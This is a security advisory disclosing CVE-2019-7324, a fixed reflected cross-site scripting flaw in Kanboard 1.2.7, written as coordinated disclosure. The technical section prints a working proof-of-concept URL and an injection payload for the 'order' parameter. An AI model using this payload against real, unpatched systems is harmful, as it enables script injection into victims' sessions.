Information
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Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting in Kanboard
Affected Software: Kanboard
Affected Versions: 1.2.7
Homepage: https://kanboard.org/
Vulnerability: Reflected Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2019-7324
CVSS Score (3.0): VA:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-19-001

Technical Details
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URL: http://localhost/kanboard-1.2.7/?controller=DashboardController&action=show&pagination=projects&user_id=1&page=1&order=%22%3E%3Cimg%20src=x%20onerror=alert(0)%3E
Parameter Name: order
Parameter Type: GET
Attack Patern: "><img src=x onerror=alert(0)>

Auth: required

Github: https://github.com/kanboard/kanboard/commit/83deec2e3621c40d15a06e2491f27571d32fe10f

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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30th January 2019 - First Contact
31st January 2019 - Vendor Fixed
27th May 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Mithat Gogebakan while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.